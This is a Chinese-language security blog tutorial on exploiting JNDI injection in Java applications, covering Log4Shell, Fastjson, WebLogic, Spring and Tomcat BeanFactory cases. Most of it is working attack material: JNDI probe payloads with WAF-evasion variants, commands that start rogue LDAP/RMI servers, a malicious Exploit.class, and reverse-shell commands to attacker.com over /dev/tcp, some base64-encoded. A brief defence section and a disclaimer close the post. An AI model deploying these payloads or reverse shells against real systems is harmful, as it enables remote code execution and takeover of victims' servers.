Java漏洞在黑盒实战中的技巧——JNDI注入篇

2025-04-01 7 0

一、JNDI 注入的原理

  1. 核心逻辑

    • JNDI 是 Java 提供的统一资源访问接口,支持通过名称(如ldap://example.com/obj)动态加载远程对象。

    • 当攻击者能控制 JNDI 的查找地址(如输入参数被拼接到InitialContext.lookup()中)时,可指向恶意服务器地址,触发目标加载远程恶意类(如.class.jar),最终实现 RCE。

  2. 关键依赖条件

    • 目标应用使用低版本 Java(JDK ≤ 8u191/11.0.1/7u201/6u211,这些版本未默认关闭远程类加载)。

    • 存在未过滤的输入点传递给 JNDI 接口(如日志打印、参数解析等)。

二、黑盒发现 JNDI 注入漏洞

1. 识别潜在输入点

  • HTTP 参数/Headers/Cookie:例如username=${jndi:ldap://xxx}

  • 文件上传/下载功能:文件名、文件内容中嵌入 JNDI Payload。

  • API 接口:JSON/XML 数据中的字段(如用户注册信息、订单信息)。

  • 日志上下文:如用户代理(User-Agent)、Referer 等可能被 Log4j2 记录的位置。

2. 构造探测 Payload

  • 基础 Payload:使用DNSLog回显验证是否存在漏洞:

    ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
    ${jndi:rmi://attacker.com:1099/exploit}
    
  • 绕过 WAF 的变形

    ${${lower:j}ndi:ldap://xxx}            // 大小写混淆
    ${jndi:ldap://127.0.0.1#.xxx.dnslog.cn}  // 利用 URL 解析特性
    ${jndi:ldap://127.0.0.1:1234/ Basic/Command/Base64/[base64-encoded-cmd]}
    

3. 使用工具辅助验证

  • DNSLog 平台

    • 生成临时域名(如ceye.iodnslog.cn),观察是否有 DNS 请求记录。

  • Burp Collaborator

    • 在 Burp Suite 中生成 Collaborator 地址,替换到 Payload 中,检查是否有 HTTP/DNS 交互。

三、JNDI 注入的利用步骤

1. 环境准备

  • 恶意服务器搭建

    • 使用工具快速启动 LDAP/RMI 恶意服务:

      # 使用 marshalsec 工具
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass"
      
      # 使用 JNDI-Injection-Exploit 工具
      java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
      
  • 恶意类文件托管

    • 在 Web 服务器(如 Python HTTP 服务)上托管恶意.class.jar文件。

2. 生成恶意 Payload

  • 简单命令执行

    ${jndi:ldap://attacker.com:1389/Exploit}
    
  • 反弹 Shell(需编码绕过特殊字符):

    ${jndi:ldap://attacker.com:1389/Exploit}
    
    • 恶意类Exploit.class的代码示例:

      public class Exploit {
          static {
              try {
                  Runtime.getRuntime().exec("bash -c {echo,<base64-encoded-cmd>}|{base64,-d}|{bash,-i}");
              } catch (Exception e) {}
          }
      }
      

3. 触发漏洞

  • 将构造的 Payload 发送到目标输入点(如 HTTP 请求参数、文件上传等)。

  • 观察恶意服务器的日志,确认目标是否请求了恶意类文件:

    [LDAP] Send LDAP reference result for Exploit redirecting to http://attacker.com/Exploit.class
    

4. 绕过限制

  • 高版本 Java 的利用(JDK > 8u191):

    • 若目标禁用远程类加载,尝试利用本地类(如Tomcat ELProcessorGroovy等)进行二次攻击。

  • 上下文限制

    • 如果 Payload 被截断或过滤,尝试分块传输、编码混淆(如 Unicode、Hex)。

四、典型案例:Log4j2 的 Log4Shell

  1. 漏洞触发条件

    • 目标使用 Log4j2 版本 ≤ 2.14.1,且日志记录中包含用户可控的数据(如 HTTP Header)。

  2. 攻击步骤

    • 发送 Payload 到 User-Agent:

      GET / HTTP/1.1
      User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
      
    • 目标应用记录日志时触发 JNDI 解析,加载恶意类。

五、防御建议

  1. 升级依赖

    • 升级 Log4j2 到 ≥ 2.17.1,禁用 JNDI 功能(设置log4j2.formatMsgNoLookups=true)。

  2. 代码层面

    • 避免将用户输入直接传递给InitialContext.lookup()

  3. 环境加固

    • 使用 JDK ≥ 8u191/11.0.1,设置com.sun.jndi.ldap.object.trustURLCodebase=false

  4. WAF 规则

    • 拦截包含${jndi:$%7Bjndi:等模式的请求。

六、总结

  • 发现重点:寻找所有可能的输入点,通过 DNSLog 快速验证漏洞存在。

  • 利用难点:绕过高版本 JDK 限制(需结合其他漏洞链)。

  • 实战技巧:善用工具(如marshalsecJNDI-Injection-Exploit)和混淆技术,优先在测试环境中验证 Payload。

根据案例深入分析

以下是基于实际漏洞和案例的JNDI注入实战解析,涵盖不同场景、协议和框架的利用方式,并融合绕过WAF的技巧:

1. Fastjson反序列化漏洞中的JNDI注入

漏洞原理

Fastjson 1.2.24及以下版本的反序列化功能存在缺陷,攻击者可通过@type属性指定恶意类(如com.sun.rowset.JdbcRowSetImpl),触发setDataSourceName()setAutoCommit()方法,进而通过JNDI加载远程恶意类实现RCE。

  • 关键代码

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com:1099/Exploit","autoCommit":true}
    

利用步骤

  1. 构造恶意RMI服务:使用marshalsec工具启动RMI服务器,指向托管恶意类的HTTP服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit
    
  2. 托管恶意类:编写并编译Exploit.class,包含命令执行代码(如Runtime.getRuntime().exec("calc")),通过Python HTTP服务托管。

  3. 触发漏洞:发送构造的JSON Payload至目标Fastjson反序列化接口,触发JNDI加载恶意类。

绕过WAF技巧

  • 编码混淆:对jndi:或协议名进行URL编码(如%6a%6e%64%69)。

  • 分块传输:通过HTTP分块传输绕过WAF对固定长度的检测。

2. Log4j2的Log4Shell漏洞(CVE-2021-44228)

漏洞原理

Log4j2在记录日志时,若日志内容包含${jndi:ldap://...}格式的字符串,会触发JNDI解析,动态加载远程恶意类。该漏洞影响Log4j2 ≤2.14.1版本。

利用步骤

  1. 构造Payload:注入到HTTP请求头(如User-Agent):

    GET / HTTP/1.1
    User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
    
  2. 搭建LDAP服务:使用JNDI-Injection-Exploit工具生成恶意LDAP链接,托管恶意类:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/attacker.com/4444 0>&1" -A attacker.com
    
  3. 反弹Shell:通过Base64编码绕过特殊字符限制,监听端口获取Shell。

绕过WAF技巧

  • 协议切换:使用ldap://dns://rmi://混合协议。

  • 嵌套表达式:如${${lower:j}ndi:ldap://...},混淆关键字。

3. Oracle WebLogic JNDI注入(CVE-2024-20931)

漏洞原理

WebLogic未对JNDI查找接口的输入进行过滤,攻击者可控制lookup()参数,通过LDAP协议加载远程恶意类,实现RCE。

复现步骤

  1. 环境搭建:使用Docker启动漏洞镜像:

    docker run -dit -p 7001:7001 ismaleiva90/weblogic12
    
  2. 验证漏洞:发送包含JNDI Payload的请求,通过DNSLog确认漏洞存在。

  3. 反弹Shell:生成Base64编码的反弹Shell命令,启动JNDI注入工具:

    java -jar JNDI-Injection-Exploit.jar -C "bash -c {echo,<base64-cmd>}|{base64,-d}|{bash,-i}" -A attacker_ip
    

高版本JDK绕过

  • 本地类利用:结合Tomcat的ELProcessor类或Groovy动态加载本地类,绕过trustURLCodebase=false限制。

4. JNDI + LDAP注入实战

漏洞场景

适用于JDK ≤8u191的环境,LDAP协议默认允许远程类加载,攻击者通过LDAP服务返回恶意Reference对象。

利用流程

  1. 恶意类构造:编写Exploit.java,编译为Exploit.class,托管于HTTP服务器。

  2. 启动LDAP服务:使用marshalsec工具:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exploit 1389
    
  3. 触发漏洞:客户端调用InitialContext.lookup("ldap://attacker.com:1389/Exploit"),加载恶意类执行命令。

防御绕过

  • 利用LDAP的上下文污染:通过多次参数传递或分号分隔绕过黑名单检测。

5. Spring框架中的JNDI注入(CVE-2018-1273)

漏洞原理

Spring Framework的表达式解析漏洞(SpEL)与JNDI结合,攻击者通过注入表达式触发InitialContext.lookup(),实现RCE。

利用步骤

  1. 构造Payload:通过HTTP参数注入:

    username=${jndi:ldap://attacker.com/Exploit}
    
  2. 结合SpEL:利用表达式解析漏洞动态执行JNDI请求。
    以下基于搜索结果中的技术细节,总结多个 未被前述案例覆盖的JNDI注入实战案例,结合不同协议、框架和绕过技术,提供详细解析:

6. Tomcat BeanFactory 绕过JDK高版本限制

漏洞背景

在JDK 8u191及以上版本中,RMI/LDAP协议默认禁用远程类加载(com.sun.jndi.ldap.object.trustURLCodebase=false),但可通过结合Tomcat的BeanFactory类实现绕过。

利用流程

  • 恶意服务端构造

    // 服务端代码示例
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true);
    ref.add(new StringRefAddr("forceString", "x=eval"));  // 强制调用eval方法
    ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
    ReferenceWrapper wrapper = new ReferenceWrapper(ref);
    registry.bind("calc", wrapper);  // RMI服务绑定
    
  • 触发漏洞
    客户端调用lookup("rmi://attacker.com:1099/calc")时,Tomcat的BeanFactory会解析forceString参数,反射调用eval方法执行JavaScript代码,最终弹出计算器。

关键点

  • 依赖注入:需目标应用包含Tomcat的catalina.jarel-api.jar依赖。

  • 绕过限制:利用本地类ELProcessor的表达式执行能力,避免远程类加载。

7. LDAP协议结合UnboundID库的JNDI注入

漏洞场景

攻击者搭建LDAP服务器,利用unboundid-ldapsdk库返回恶意Reference对象,触发客户端加载远程类。

复现步骤

  1. LDAP服务端搭建

    // LDAPServer.java
    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
    config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://attacker.com:8081/#Exploit")));
    InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    ds.startListening();  // 监听1234端口
    
  2. 恶意类托管
    编译Exploit.class并启动HTTP服务(python -m http.server 8081)。

  3. 客户端触发

    InitialContext ctx = new InitialContext();
    ctx.lookup("ldap://attacker.com:1234/Exploit");  // 触发LDAP查询
    

攻击链分析

  • LDAP响应:服务端返回的LDAP条目包含javaCodeBase指向恶意HTTP服务器,客户端自动加载并实例化Exploit.class,执行静态代码块中的命令。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

二进制分析实战笔记(二)
[Meachines] [Medium] Union UHC+SQLI文件读取+TRP00F+命令注入+sudo权限提升
【APP 逆向百例】淘某热点 APP 逆向分析
file协议小解——为什么是”file:///path”
HTB-writeup-writeup
HTB-Precious-WriteUp

发布评论